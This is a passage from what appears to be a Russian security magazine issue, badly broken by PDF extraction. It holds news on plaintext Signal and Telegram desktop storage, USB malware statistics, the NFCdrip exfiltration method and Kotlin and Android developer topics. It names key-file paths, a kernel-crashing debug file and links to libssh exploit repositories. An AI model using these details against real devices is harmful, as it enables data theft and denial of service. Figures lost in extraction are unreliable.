ная  БД  SQLite  ( ),  где  хра нят ся  сооб щения  поль зовате ля.  Ключ
шиф рования  от  этой  БД  генери рует ся  мес сен дже ром  авто мати чес ки,
без вза имо дей ствия с поль зовате лем. Дан ный ключ тре бует ся Signal Desktop
каж дый раз,  ког да  нуж но открыть базу. И,  как  выяс нил  эксперт,  он  хра нит ся
локаль но,  в  откры том  виде:  на  ПК  —  в  фай ле 

, на Mac — в  .

db.sqlite

%AppData%\Signal\config.
json ~/Library/Application Support/Signal/config.json

Ес ли открыть файл config.json даже с помощью обыч ного блок нота, мож но
обна ружить сле дующее:

Сё чи  пояс няет,  что  вся  перепис ка  поль зовате ля  в  ито ге  может  ока зать ся
в  руках  любой  треть ей  сто роны,  у  которой  есть  дос туп  к  компь юте ру.
При  этом  иссле дова тель  убеж ден,  что  в  теории  проб лему  лег ко  испра вить:
дос таточ но  прос то  поп росить  поль зовате ля  ввес ти  пароль  и  исполь зовать
его для клю ча шиф рования.

Не зашиф рован ные сооб щения в Telegram
Об наружив  уяз вимость в Signal, Сёчи решил  так же про верить безопас ность
дес ктоп ного кли ента Telegram и нашел в нем очень похожую проб лему. Как и
Signal,  Telegram Desktop  хра нит  чаты  поль зовате ля  в  локаль ной БД,  и  к  ним
тоже мож но получить дос туп, пос коль ку они никак не защище ны.

Продолжение статьи →

https://xakep.ru/2018/10/08/ios12-lockscreen-bypass/
https://xakep.ru/2018/10/16/one-more-voiceover-bypass/
https://xakep.ru/2018/10/31/ios-12-1-passcode-bypass/
https://xakep.ru/2018/10/23/libssh-poc-and-scanner/
https://github.com/leapsecurity/libssh-scanner
https://github.com/vulhub/vulhub/tree/master/libssh/CVE-2018-10933
https://github.com/hackerhouse-opensource/cve-2018-10933
https://github.com/blacknbunny/libSSH-Authentication-Bypass/
https://github.com/SoledaD208/CVE-2018-10933/blob/master/CVE-2018-10933.py
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Сё чи объ ясня ет, что про читать содер жимое SQLite‐базы мес сен дже ра может
быть нем ного слож но (см. иллюс тра ции ниже), одна ко база не зашиф рована.
Кро ме того, в БД мож но обна ружить име на и номера телефо нов, свя зан ные
друг с дру гом. И наконец, самое сквер ное — по сло вам иссле дова теля, в той
же незащи щен ной базе осе дают и перего воры из «сек ретных чатов».

По хожая  ситу ация  наб люда ется  и  с  меди афай лами.  Сёчи  пишет,  что  дос‐ 
таточ но  было  прос то  поменять  рас ширение  фай ла,  и  кар тинки  ста ло  воз‐ 
можно прос матри вать.

Хо тя  иссле дова телю  не  уда лось  свя зать ся  с  раз работ чиками  Telegram,
вско ре  пос ле  пуб ликации  информа ции  о  проб леме  в  рус ско языч ном
Telegram‐канале  Пав ла  Дурова  появи лось  опро вер жение  слов  иссле дова‐ 
теля.  Дуров  утвер жда ет,  что  наход ку  Сёчи  нель зя  счи тать  вооб ще  уяз‐ 
вимостью,  раз  экс плу ата ция  бага  пред полага ет,  что  прес тупник  уже  име ет
дос туп к компь юте ру жер твы.

ЭВО ЛЮЦИЯ USB‐УГРОЗ
Спе циалис ты  «Лабора тории  Кас пер ско го»  пред ста вили  обзор  текущей  кар тины  киберуг роз,
рас простра няемых через съем ные носите ли. Ста тис тика показа ла, что в целом количес тво вре‐ 
донос ного ПО, обна ружен ного на съем ных носите лях (а затем и в кор невых катало гах на компь‐ 
юте ре),  а  так же  количес тво  заражен ных  поль зовате лей  пос тепен но  сни жает ся,  начиная
с 2014 года.

USB‐устрой ства и дру гие съем ные носите ли исполь зуют ся для рас простра нения ПО для май‐ 
нин га крип товалют как минимум с   года.2015

Не кото рая мал варь, обна ружен ная в 2018 году, попала на компь юте ры жертв 
.  Это  сви детель ству ет  о  дли тель ном  зараже нии,  которое,  веро ятно,  негатив но  вли яло

на про изво дитель ность устрой ств.

нес коль ко лет
назад

Ко личес тво уни каль ных поль зовате лей (в мил лионах), на компь юте рах которых было обна руже но
вре донос ное ПО, рас простра няющееся через съем ные носите ли

В 2018 году каж дый   поль зователь, пос тра дав ший от мал вари, переда ваемой через съем‐ 
ные носите ли, был жер твой май нера  .

10-й
Trojan.Win64.Miner.all

Про цент обна руже ний популяр ного Trojan.Win64.Miner.all еже год но рас тет при мер но на  .1/6

Экс пло ит  для    (Stuxnet)  оста ется  одним  из  десяти  экс пло итов,  наибо лее
активно рас простра няющих ся через съем ные носите ли.

CVE-2010-2568

USB‐злов реды  наибо лее  рас простра нены  на  раз вива ющих ся  рын ках:  боль ше  все го  стра дают
,   и  , но отдель ные ата ки были зафик сирова ны в   и 

.
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ГРЯДЕТ НОВЫЙ
WINAMP
Мно гие  навер няка  хорошо  пом нят  без  пре уве личе ния  леген дарный  меди‐ 
апле ер Winamp,  который  сто ял  прак тичес ки  на  каж дом  компь юте ре  в  кон це
девянос тых  и  начале  нулевых.  Увы,  пос ледние  годы  нель зя  наз вать
сколь‐нибудь успешны ми для меди апле ера, который не обновлял ся с 2013‐го
и, по сути, счи тал ся «мер твым».

На пом ню,  что  ком панию  Nullsoft,  исходно  соз давшую  Winamp,
еще в 1999 году при обре ла AOL, которая и под держи вала пле ер на про тяже‐ 
нии дол гих лет. Затем, в 2013 году, раз работ ку прог раммы, уже рас теряв шей
немалую  долю  сво ей  популяр ности,  решили  прек ратить,  сайт  Winamp.com
зак рылся, а пра ва на Winamp в 2014 году выкупи ла бель гийская ком пания Ra‐
dionomy Group, занима ющаяся интернет‐ради ове щани ем. С тех пор никаких
новос тей о меди апле ере не пос тупало.

В середи не октября пред ста вите ли Radionomy Group сде лали неожи дан‐ 
ное заяв ление: в 2019  году Winamp пре обра зит ся, ста нет луч ше и вер нется
в строй. Раз работ чики намере ны сде лать Winamp уни вер саль ным решени ем
для прос лушива ния все го — под кастов, радио, плей‐лис тов и так далее.

«Вы смо жете слу шать MP3,  которые есть  у  вас дома, но  так же смо- 
жете  поль зовать ся  обла ком,  под каста ми,  стри мин говым  радио
и  плей‑лис тами.  Людям  нужен  еди ный  опыт,  и  я  счи таю,  что
Winamp —  иде аль ный  пле ер  для  всех.  Мы  хотим,  что бы  люди  поль- 
зовались  им  на  всех  сво их  устрой ствах»,  —  рас ска зал  изда нию
TechCrunch  гла ва  Radionomy  Group  Алек сандр  Сабун джан  (Alexandre
Saboundjian).

Са бун джан сооб щил,  что в будущем  году вый дет обновлен ная вер сия прог‐ 
раммы — Winamp 6,  в  которой раз работ чики  сох ранят  нас ледие меди апле‐ 
ера,  но  сде лают  слу шатель ский  опыт  более  пол ным. CEO Radionomy Group
уве ряет,  что  у  Winamp  до  сих  пор  сущес тву ет  огромная  поль зователь ская
база,  нас читыва ющая  поряд ка  ста  мил лионов  человек  (в  основном  за  пре‐ 
дела ми США), и комь юни ти по‐преж нему очень силь но.

Нуж но  отме тить,  что  в  сен тябре  текуще го  года  поль зовате ли  уже  обна‐ 
ружи ли  в  Сети  «утек шую»  бета‐вер сию  Winamp  5.8,  где  были  исправ лены
некото рые баги и появи лась под дер жка Microsoft Audio.  Тог да было не сов‐ 
сем ясно, отку да взя лась новая вер сия и кто сто ял за ее раз работ кой. Теперь
Сабун джан про яснил, что в октябре дей стви тель но будет выпуще но обновле‐ 
ние — Winamp 5.8. Новая вер сия содер жит исправ ления для раз личных багов,
в  том  чис ле  каса ющих ся  сов мести мос ти  с  Windows  10,  а  так же  уби рает
из меди апле ера все плат ные фун кции, внед ренные в Winamp ранее.

Ре аль ные  новов ведения  мы  уви дим  лишь  с  релизом Winamp  6,  который
вый дет как для дес кто пов, так и для мобиль ных ОС. Сабун джан рас ска зыва ет,
что  обновлен ный  меди апле ер  смо жет  объ еди нить  в  одном  мес те  аудио
из самых раз ных источни ков, важ ную роль в его работе будет играть сущес‐ 
твен но  улуч шенная  поис ковая  фун кци ональ ность,  и  поль зовате лям  боль ше
не  при дет ся  перек лючать ся  из  одно го  пле ера  в  дру гой.  Пока  раз работ чики
отка зались  уточ нить,  идет  ли  речь  об  интегра ции  с  Apple  Music,  Spotify,
Google Music и дру гими ауди оплатфор мами (и как это воз можно, если ответ
положи тель ный),  сооб щив,  что  уже  ведет ся  мно жес тво  перего воров,  но  о
кон кре тике говорить пока рано.

MICROSOFT ОТКРО ЕТ ДОС ТУП К   ПАТЕН ТОВ РАДИ
ПОД ДЕР ЖКИ LINUX

60 000

Ком пания Microsoft  при соеди нилась  к Open  Invention Network —  плат форме,  которая  пре дос‐ 
тавля ет сво бод ный дос туп к патен там и помога ет защищать Linux и дру гие сво бод ные про екты
от  патен тных  исков.  Они  смо гут  получить  дос туп  к    патен там  и  не  будут  пла тить
отчисле ния за их исполь зование.

60  000

По мимо Microsoft, в Open  Invention Network вхо дят и дру гие кор порации, в том чис ле Google,
IBM, NEC, Philips, Sony и Toyota, а так же раз работ чики дис три бути вов Linux — Red Hat, Canoni‐
cal и SUSE.

NFC‐АТАКА ДЛЯ
ДЛИННЫХ
ДИСТАНЦИЙ
Сот рудник  ком пании  Checkmarx  Пед ро  Умбе лино  (Pedro  Umbelino)  про‐ 
демонс три ровал,  что  тех нологию  NFC  мож но  эффектив но  исполь зовать
для извле чения с устрой ств неболь ших пар тий дан ных (паролей, клю чей шиф‐ 
рования), при чем это воз можно и на срав нитель но даль них рас сто яниях.

По  идее,  NFC  поз воля ет  двум  устрой ствам  вза имо дей ство вать  вбли зи,
на рас сто янии до 10 см друг от дру га. В основном эта тех нология при меня‐ 
ется для пла тежей, аутен тифика ции или обме на фай лами. Но Умбе лино раз‐ 
работал ата ку NFCdrip,  которая поз воля ет экс плу ати ровать NFC на боль ших
дис танци ях и может исполь зовать ся для тай ного извле чения дан ных, если Wi‐
Fi, Bluetooth или GSM отклю чены.

NFCdrip тре бует сме ны режима экс плу ата ции NFC, и иссле дова тель под‐ 
черки вает,  что  на  плат форме  Android  для  это го  даже  не  нуж но  каких‐либо
спе циаль ных  раз решений,  отче го  ата ка  ста новит ся  еще  про ще.  NFCdrip
исполь зует  on‐off  keying,  одну  из  прос тей ших  форм  ампли туд ной  манипу‐ 
ляции,  ког да  наличие  сиг нала  рас смат рива ется  как  1  бит,  а  отсутс твие  —
как 0 бит.

В  ходе  сво их  экспе римен тов  спе циалист  сумел  про демонс три ровать,
как  мал варь  на  Android‐устрой стве  может  исполь зовать  NFC  для  переда чи
паролей на рас сто янии десят ков мет ров от дру гого Android‐девай са, под клю‐ 
чен ного к прос тому AM‐при емни ку.

Так, переда ча информа ции на рас сто яние 2,5 мет ра завер шилась пол ным
отсутс тви ем оши бок и работой на ско рос ти 10–12 бит в секун ду. На рас сто‐ 
янии 10 мет ров начина ют появ лять ся ошиб ки, одна ко Умбе лино уве ряет, что
они  под дают ся  кор ректи ров ке  и  на  этой  дис танции  переда ча  дан ных  воз‐ 
можна даже через сте ны. В ито ге рекор дное рас сто яние для переда чи дан‐ 
ных, про тес тирован ное спе циалис том, сос тавило 60 мет ров. При чем это зна‐ 
чение мож но еще уве личить, если под клю чить к делу AM‐антенну и SDR.

Эк сперт  отме чает,  что  такая  ата ка  может  сра ботать  даже  тог да,  ког да
устрой ство находит ся в «режиме полета», и под черки вает, что NFCdrip пред‐ 
став ляет угро зу отнюдь не толь ко для устрой ств на базе Android.

В  ско ром  будущем  Checkmarx  пла ниру ет  опуб ликовать  PoC‐экс пло ит
в фор мате опен сор сно го при ложе ния. А пока на YouTube мож но пос мотреть

 и  .PoC‐видео с демонс тра цией ата ки пре зен тацию метода NFCdrip на Hack.lu

ВИ ДЕОКАР ТЫ ДЛЯ МАЙ НИН ГА ПРИ НОСЯТ ВСЕ МЕНЬ ШЕ
ПРИ БЫЛИ

Ком пания AMD опуб ликова ла отчет за тре тий квар тал 2018 года, сог ласно которо му общая при‐ 
быль от про даж  гра фичес ких про цес соров сни зилась на    по срав нению со вто рым квар‐ 
талом, одна ко вырос ла на   по срав нению с прош лым годом.

14%
12%

Тем вре менем общий доход ком пании вырос до   мил лиар да дол ларов, что на   боль ше,
чем в прош лом году.

1,65 4%

От дель ное  вни мание  в  отче те было  уде лено GPU для  крип товалют ного рын ка:  пред ста вите ли
AMD приз нали, что доходы в этой области ока зались весь ма нез начитель ными и сос тавили все‐ 
го  .6%

Пос ле  пуб ликации  докумен та  котиров ки  акций  ком пании  рух нули  на  ,  хотя  спад  про даж
май нин говых виде окарт прог нозиро вали уже дав но.

22%

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Утеч ка гелия вывела из строя iPhone сот рудни ков в медицин ском учрежде нии Илли ной са

Раз работ чик Mirai не сядет в тюрь му, но дол жен вып латить 8,6 мил лиона дол ларов

Ком пания  Group‐IB  рас ска зала  о  задер жании  мошен ников,  которые  при киды вались  white
hat’ами

Google обя жет про изво дите лей выпус кать пат чи для Android‐устрой ств на про тяже нии двух лет

Опуб ликован бес плат ный дешиф ратор для пос ледних вер сий GandCrab

Третьи сто роны могут сле дить за поль зовате лями через механизм возоб новле ния TLS‐соеди‐ 
нения

В  кам пании  MageCart  задей ство ваны  уяз вимос ти  как  минимум  в  двад цати  рас ширени ях
для Magento

Еще одну 0day‐уяз вимость в Windows рас кры ли через Twitter

Об наруже ны зараже ния мал варью DarkPulsar, ранее «утек шей» у АНБ

Ис сле дова тель устро ил ата ку 51% на Bitcoin Private и стри мил ее в пря мом эфи ре

https://youtu.be/aZOLTcnbZo8
https://youtu.be/RRWLN3NjjTE
https://xakep.ru/2018/10/31/apple-are-allergic-to-helium/
https://xakep.ru/2018/10/30/no-jail-time-for-paras-jha/
https://xakep.ru/2018/10/26/fake-white-hats/
https://xakep.ru/2018/10/26/new-rules-for-android-oems/
https://xakep.ru/2018/10/26/new-gandcrab-decryption-tool/
https://xakep.ru/2018/10/25/tls-session-resumption/
https://xakep.ru/2018/10/24/magecart-extensions/
https://xakep.ru/2018/10/24/new-sandboxescaper-poc/
https://xakep.ru/2018/10/19/darkpulsar/
https://xakep.ru/2018/10/19/btcp-51-percent/
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Се год ня  в  выпус ке:  новый  security‐чип  в  смар тфо не  Pixel  3,  защита  от  атак
с  исполь зовани ем ROP  в  ядре  Linux,  уро ки фаз зинга,  смар тфон,  вору ющий
рек ламные день ги, прош лое, нас тоящее и будущее пакетов APK. А так же нес‐ 
коль ко  ста тей  для  прог раммис тов:  управле ние  при ори тета ми  потоков,  раз‐ 
бор сис темы типов Kotlin и рас сказ о Contracts — новой фун кции Kotlin 1.3.

ИНСТРУМЕНТЫ

  —  скрипт  для  про вер ки  нас тро ек  безопас ности
смар тфо на на Android;

• android‐device‐check

 — пла гин Burp Suite для рас шифров ки тра фика мобиль ных при‐ 
ложе ний с помощью клю ча, извле чен ного из при ложе ния;

• AES Killer

 — кол лекция ссы лок на информа цию о багах раз личных
IoT‐устрой ств.

• awesome‐iot‐hacks

ПОЧИТАТЬ

Titan M: security-чип в смар тфо нах Pixel
 — рас сказ о security‐чипе Titan

M,  который исполь зует ся  в  смар тфо нах Pixel  3  и Pixel  3  XL.  Чип раз работан
и про изво дит ся самой Google, а в чис ло его фун кций вхо дят:

Building a Titan: Better security through a tiny chip

хра нение счет чиков отка тов, исполь зуемых сис темой доверен ной заг рузки
Android Verified Boot;

•

хра нение  сек ретных  дан ных  и  огра ниче ние  попыток  дос тупа  к  ним
с помощью Weaver API;

•

ре али зация фун кций модуля Strongbox Keymaster, который отве чает в том
чис ле за хра нение и генера цию клю чей шиф рования, а так же за фун кцию

, поз воля ющую матема тичес ки доказать, что
поль зователь  дей стви тель но  уви дел  тот  или  иной  диалог  под твержде ния
и что ответ на этот диалог не был перех вачен и каким‐либо обра зом изме‐ 
нен;

•

Android Protected Confirmation

обес печение работы механиз мов защиты от сбро са до завод ских нас тро‐ 
ек,  которые  не  поз воля ют  треть им  сто ронам  исполь зовать  потерян ный
или укра ден ный смар тфон.

•

По сути,  Titan M — это ана лог Secure Enclave,  который Apple  уже нес коль ко
лет  пре дус танав лива ет  в  свои  смар тфо ны.  Бла года ря  тому  что  Titan  M  —
это  выделен ный  мик рокомпь ютер  (на  базе  ARM  Cortex‐M3),  не  свя зан ный
с основным про цес сором, он гораз до более устой чив к любым ата кам, вклю‐ 
чая «неис прав ляемые» Rowhammer, Spectre и Meltdown.

Google обе щает открыть код про шив ки Titan M в ско ром вре мени.

Titan (сле ва) и Titan M (спра ва)

Control Flow Integrity для ядра Linux
  —  статья  раз работ чиков  Android

о при мене нии тех нологии Control Flow Integrity для защиты ядра Linux от атак
с исполь зовани ем метода ROP (Return Oriented Programming).

Control  Flow  Integrity  in  the  Android  kernel

Сов ремен ные  экс пло иты  в  сво ей  работе  час то  полага ются  на  модифи‐ 
кацию  ука зате лей  на  фун кцию  и  адре сов  воз вра та.  Это  поз воля ет  обой ти
огра ниче ние  на  исполне ние  сте ка  и  сег мента  дан ных  с  помощью  пере‐ 
исполь зования кус ков самого при ложе ния.

Тех нология Control Flow Integrity (CFI) пред назна чена для борь бы с такими
экс пло ита ми.  При  ее  вклю чении  ком пилятор  стро ит  граф  вызовов  фун кций
и  встра ивает  код  свер ки  с  этим  гра фом  перед  каж дым  вызовом  фун кции.
Если  вызов  про исхо дит  по  откло няюще муся  от  гра фа  адре су,  при ложе ние
завер шает ся.

Ра нее раз работ чики Android  уже вклю чили CFI для нес коль ких сис темных
ком понен тов в Android 8. В Android P пок рытие рас ширилось и теперь вклю‐ 
чает в себя меди афрей мвор ки, а так же стек NFC и Bluetooth. Теперь под дер‐ 
жка реали зова на для ядра вер сий 4.9 и 4.14.

Уро ки фаз зинга
 —  занима тель ная

статья о  том,  как обыч но про водят фаз зинг  и  какую информа цию взлом щик
может получить с его помощью.

Writing  the worlds worst  Android  fuzzer,  and  then  improving  it

На чалось все с того, что автор решил устро ить фаз зинг фай ловой сис темы
Android и поп робовать про читать и записать во все встре чен ные фай лы слу‐ 
чай ный набор бай тов. Рас чет здесь на то, что в Android (а точ нее, Linux) нес‐ 
коль ко вир туаль ных фай ловых сис тем ( ,  ,  ) хра нят не реаль ные,
а син тетичес кие фай лы, с помощью которых мож но изме нять нас трой ки ядра
и работать с железом.

/dev /proc /sys

Как ока залось, дол го фаз зер работать не мог и  в опре делен ный момент
прос то бло киро вал ся при попыт ке чте ния фай ла. Что бы решить эту проб лему,
автор рас парал лелил фаз зер на 128 потоков, и... смар тфон ушел в kernel pan‐
ic. То же пов торилось с каж дым из про тес тирован ных смар тфо нов.

Ана лиз  лога  из    показал,  что  про изош ло  что‐то  вро де
heap  corruption,  и,  если  поковы рять  даль ше,  мож но  написать  экс пло ит
для получе ния прав root в сис теме. А DoS‐экс пло ит фак тичес ки уже сущес тву‐ 
ет.

/proc/last_kmsg

Но  что,  если фай ла    нет?  Нап ример,  в  Galaxy  S5  такой
файл отсутс тву ет, а зна чит, мы не смо жем узнать, обра щение к какому фай лу
при вело к панике ядра. В этом слу чае для начала сок раща ем область работы
фаз зера,  про буем,  нап ример,  толь ко  каталог  .  Это  сра баты вает,  проб‐ 
лема в одном из его фай лов. Про ходим ся по под катало гам и выяс няем, что
ядро пада ет при записи в один из фай лов  ,  а если  точ нее — 

.

/proc/last_kmsg

/sys

/sys/kernel /
sys/kernel/debug/

Что бы не переби рать все фай лы это го под катало га вруч ную, пишем сер‐ 
вер, который будет работать на ком пе и при нимать име на фай лов от фаз зера
по мере его работы. Какое пос леднее имя получим перед падени ем, то нам
и нуж но.

Пос ледним  фай лом  ока зал ся 
. Теперь написать DoS‐экс пло ит про ще прос того.

/sys/kernel/debug/smp2p_test/ut_re‐
mote_gpio_inout

Ав тор  отме чает,  что  в  сов ремен ном мире  оста ется  все мень ше  телефо‐ 
нов, которые мож но отпра вить в панику таким спо собом. Все дело в пра вилах
SELinux, которые зак рыва ют дос туп к боль шинс тву сис темных фай лов. Одна ко
некото рые устрой ства до сих пор уяз вимы.

Смар тфон, вору ющий рек ламные день ги

 — инте рес ная исто рия в бло ге Avast о про шив ке дешево‐ 
го  китай ско го  телефо на,  которая  не  толь ко  содер жит  при выч ную  всем  рек‐ 
ламу на экра не бло киров ки и  уме ет скры то уста нав ливать при ложе ния, но и
перенап равля ет  выруч ку  от  рек ламы  в  сто рон них  при ложе ниях  на  дру гие
акка унты.

Avast Threat Labs finds Android device firmware that reroutes ad network revenue
to unknown accounts

Про шив ка вклю чает в себя нес коль ко  хуков,  которые сра баты вают,  ког да
то или иное при ложе ние обра щает ся к нас трой кам (SharedPreferences), фай‐ 
лам  внут ри  сво его  пакета  (AssetManager  и  ZipEntry)  или  переда ет  дан ные
меж ду сво ими ком понен тами в бан длах (Bundle). Код хука ищет в получен ных
дан ных  токен  рек ламной  сети  и  под меня ет  его  сво им,  так  что  все  день ги
от показа рек ламы получа ет не раз работ чик при ложе ния, а третье лицо.

Спе циалис ты из Avast не сооб щают модель  устрой ства, на  которое была
пре дус танов лена эта про шив ка. Извес тно лишь, что смар тфон работал на An‐
droid  6  и  про давал ся  в  Евро пе.  Хотя,  судя  по фай лу  с  информа цией  о  при‐ 
ложе ниях,  токены  которых  перех ватыва ла  про шив ка,  основной  целью  были
китай ские поль зовате ли.

Ка кие где най ти токены и на какие зна чения их заменить

РАЗРАБОТЧИКУ

Kotlin и его типы
 — статья о сис теме типов язы ка Kotlin и ее осо бен ностях. Нес‐ 

коль ко инте рес ных момен тов:
Typical Kotlin

Nullable и не nullable типы в Kotlin — это дей стви тель но раз ные типы дан‐ 
ных, при чем не nullable тип — это всег да под тип nullable. Нап ример, 

 — это под тип типа  , а тот, в свою оче редь, под тип типа 
, который под тип типа  . Таким обра зом, зна чение типа 

мож но сох ранить в перемен ной типа  .

•
Dou

ble Double? Num

ber? Any? Double

Number?

Ког да ты соз даешь какой‐либо класс, ты авто мати чес ки соз даешь его nul‐
lable или наобо рот близ неца. Дру гими сло вами, объ явив класс  , ты
так же объ явишь тип  .

•
Hello

Hello?

Тех ничес ки  любая  фун кция  в  Kotlin  име ет  тип  воз вра щаемо го  зна чения.
Если не ука зано явно, этим типом ста новит ся Unit. Вот его исходный код:

•

public object Unit {
   override fun toString() = "kotlin.Unit"
}

В Koltin есть спе циаль ный тип, который не может иметь никако го зна чения.
Это тип   (и его близ нец  ). Фун кция, объ явленная с воз‐ 
вра щаемым типом  , никог да не закон чит исполне ние, так как зна‐ 
чения,  которое  нуж но  вер нуть,  не  сущес тву ет.    удоб но  исполь‐ 
зовать,  что бы  под ска зать  ком пилято ру  и  сре де  раз работ ки,  что  фун кция
никог да  не  закон чит  свое  исполне ние  (или  закон чит  выб росом  исклю‐ 
чения).  В  этом  слу чае  сре да  раз работ ки  будет  под све чивать  такие  фун‐ 
кции, под ска зывая раз работ чику, что ее исполне ние не закон чится.

•
Nothing Nothing?

Nothing

Nothing

 — это так называ емый bottom type, то есть под тип любых дру гих
типов.  А  return  и  throw —  это  пол ноцен ные  выраже ния,  которые  воз вра‐ 
щают тип  . Ком биниру ем эти два утвер жде ния вмес те и получа ем
два впол не рабочих при мера кода:

• Nothing

Nothing

fun calculate(someParam: Int?) {
   val x = someParam ?: throw IllegalArgumentException("someParam 
must not be null")
   val y = x * 2
   println(y)
}

fun calculate(someParam: Int?) {
   someParam ?: return
   val y = someParam * 2
   println(y)
}

Иерар хия типов в Kotlin

Уп равля ем при ори тета ми потоков
 — статья о том, как Android рас пре деля ет при‐ 

ори теты меж ду потока ми и как эти при ори теты изме нить. Суть в сле дующем.
В Android  (а точ нее, в Linux) у каж дого потока исполне ния есть собс твен ный
при ори тет, который варь иру ется в пре делах от –20 до 19, где мень шее чис ло
озна чает более высокий при ори тет.

Exploring Android Thread Priority

Плюс ко все му ядро Linux объ еди няет потоки в так называ емые кон троль‐ 
ные  груп пы  (cgroups)  в  зависи мос ти  от  раз ных  усло вий,  таких,  нап ример,
как  видимость  при ложе ния  на  экра не.  Раз мещение  потоков  того  или  ино го
при ложе ния в опре делен ной груп пе авто мати чес ки нак ладыва ет на них огра‐ 
ниче ния. Так, потоки, помещен ные в груп пу Background (то есть отно сящи еся
к при ложе ниям в фоне),  получа ют  все го 5% от обще го про цес сорно го  вре‐ 
мени.

По  умол чанию  любые  потоки  одно го  при ложе ния  получа ют  рав ный  при‐ 
ори тет с основным потоком, а зна чит, могут вли ять на его исполне ние. Что бы
это го  избе жать,  сле дует  сни зить  при ори тет  фоновых  потоков  с  помощью
одно го из двух методов:

  —  при нима ет  зна чения  от  1  до  10,  где  10  —
самый высокий при ори тет;

• Thread.setPriority()

  —  при нима ет  стан дар тные  для  An‐
droid/Linux зна чения от –20 до 19.

• Process.setThreadPriority()

Со отно шение этих двух шкал при ори тетов такое:

При мер изме нения при ори тета потока:

public class ThreadPriority {
       Thread thread = new Thread(new Runnable() {
           @Override
           public void run() {
               Process.setThreadPriority(Process.THREAD_PRIORITY
_BACKGROUND);
               // Твой код здесь
           }
       }, "worker‐thread");
       thread.start();
   }
}

В  ори гиналь ной  статье  так же  при веде ны  при меры  изме нения  при ори тета
HandlerThread, Intent Service и дру гих.

Contracts — новая фун кция Kotlin 1.3
 — статья о новин ке Kotlin 1.3 под наз вани ем «кон‐ 

трак ты» (contracts). Они реша ют проб лему, с которой стал кивал ся любой раз‐ 
работ чик. Прос той при мер:

Discovering Kotlin Contracts

@Test fun testMyTokenLength() {
   val token : String? = getMyToken();
   assertNotNull(token)
   assertEquals(42, token.length)
}

Ты  не  смо жешь  его  ском пилиро вать,  потому  что  ком пилятор  ска жет  сле‐ 
дующее:

Error(5, 22): Only safe (?.) or non-null asserted (!!.) calls are allowed on a
nullable receiver of type String?

Так про исхо дит потому, что, по мне нию ком пилято ра, token может иметь зна‐ 
чение null, а зна чит, мы дол жны про верить его на null перед тем, как вызывать
метод length. Ну либо обой ти пре дуп режде ние ком пилято ра, написав так: 

. А это не очень кра сиво.
to‐

ken!!.lenght
В то же вре мя мы, в отли чие от ком пилято ра, зна ем, что  token к момен ту

вызова метода length уже не может быть null, потому что про вер ка на null была
в прош лой стро ке.  Кон трак ты нуж ны  как раз для  того,  что бы передать  наше
зна ние ком пилято ру.

Кон трак ты базиру ются на идее эффектов  (effects), которые пред став ляют
собой  сво его  рода  кусоч ки  зна ний,  отно сящи еся  к  той  или  иной  фун кции.
На дан ный момент сущес тву ет четыре эффекта:

  —  фун кция  успешно  завер шает ся  и/или  воз вра щает
зна чение такого‐то типа;

• Returns(value)

 — фун кция воз вра щает не null зна чение;• ReturnsNotNull

 —  если  эффект
сра ботал, то сле дующее выраже ние вер но;

• ConditionalEffect(effect, booleanExpression)

 — огра ниче ние на мес то и  количес тво
вызовов лям бды.

• CallsInPlace(lambda, kind)

Не сто ит пытать ся это понять, прос то взгля ни на сле дующий код:

fun assertNotNull(actual: Any?) {
   contract { returns() implies (actual != null) }
   org.junit.Assert.assertNotNull(actual)
}

Это  обер тка  для  стан дар тной  фун кции  assertNotNull  из  пакета  JUnit.  Мы
добави ли к ней кон тракт, который сооб щает ком пилято ру и сре де раз работ‐ 
ки,  что  если  фун кция  успешно  завер шает ся,  зна чит,  передан ное  ей  в  аргу‐ 
мен те зна чение не рав но null. Если под ста вить эту обер тку вмес то ори гина ла
в при веден ный в начале при мер, ком пилятор ругать ся не будет.

Циф ровые под писи APK: прош лое и нас тоящее
 — крат кая исто‐ 

рия циф ровых под писей при ложе ний для Android и объ ясне ние нового фор‐ 
мата циф ровой под писи в Android 9.

Android APK signature scheme v3: context and new opportunities

Из началь но  пакет  с  при ложе нием  для  Android  (APK)  пред став лял  собой
поч ти точ ную копию пакета JAR, который, в свою оче редь, был прос то архи‐ 
вом ZIP с нес коль кими допол нитель ными фай лами в катало ге  . Эти
фай лы  содер жали  спи сок  всех фай лов  пакета,  их  крип тогра фичес кие  хеши,
а  так же  откры тый  крип тогра фичес кий  ключ,  с  помощью  которо го  были  под‐ 
писаны спис ки хешей.

META‐INF

Все это поз воляло убе дить ся в целос тнос ти содер жащих ся в пакете фай‐ 
лов, а так же под твер дить, что пакет не был изме нен пос ле соз дания авто ром.
Дру гими сло вами, уста нав ливая обновле ние при ложе ния для Android, мож но
быть уве рен ным — оно соз дано тем же челове ком, что и пре дыду щая вер сия.

Но  есть  проб лема.  Ата ка  Janus  показа ла,  что  сущес тву ет  воз можность
внед рить  код  в  APK,  не  изме няя  его  циф ровую  под пись.  Для  это го  мож но
дописать  DEX‐файл  в  начало  сек ций  ZIP‐фай ла,  и  Android  не  учтет  их
при  верифи кации  фай ла,  но  при  этом  файл  мож но  будет  запус тить
как  исполня емый:  это  будет  одновре мен но  и  пакет  с  при ложе нием,
и исполня емый файл.

Для  решения  этой  и  схо жих  проб лем  Google  пред ложила  фор мат  циф‐ 
ровой  под писи  APK  signature  scheme  v2.  Его  суть  в  том,  что бы  добавить
к APK‐фай лу допол нитель ный блок, который будет содер жать циф ровую под‐ 
пись все го APK целиком, а не отдель ных его час тей.

Под дер жка scheme v2 появи лась в Android 7, а уже в Android 9 добави лась
под дер жка APK signature scheme v3. Новый фор мат циф ровой под писи похож
на пре дыду щий, но обла дает одной отли читель ной чер той: он под держи вает
ротацию крип тогра фичес ких клю чей. Это поз воля ет раз работ чикам без проб‐ 
лем  менять  циф ровую  под пись  для  сво их  при ложе ний,  не  зас тавляя  поль‐ 
зовате лей уда лять ста рую вер сию при ложе ния перед уста нов кой новой.

APK signature scheme v1

Пять биб лиотек ани мации
 — крат кий обзор пяти биб лиотек, поз воля ющих

реали зовать ани мацию в при ложе нии:
Android Top Animation Libraries

 — пар сит и рен дерит ани мации в фор мате Adobe After Ef‐
fects (экспор тирован ные в JSON с помощью Bodymovin);

• Lottie for Android

 — эффекты перехо да меж ду активнос тями;• Material Animations
 — кол лекция раз личных эффектов ани мации;• Android View Animations
 — набор ани маций для RecyclerView;• RecyclerView Animators

 — реали зация реалис тичных эффектов пру жины.• Rebound

Биб лиоте ки
  —  RecyclerView‐адап тер,  пред назна чен ный  для  соз дания

ком плексных спис ков;
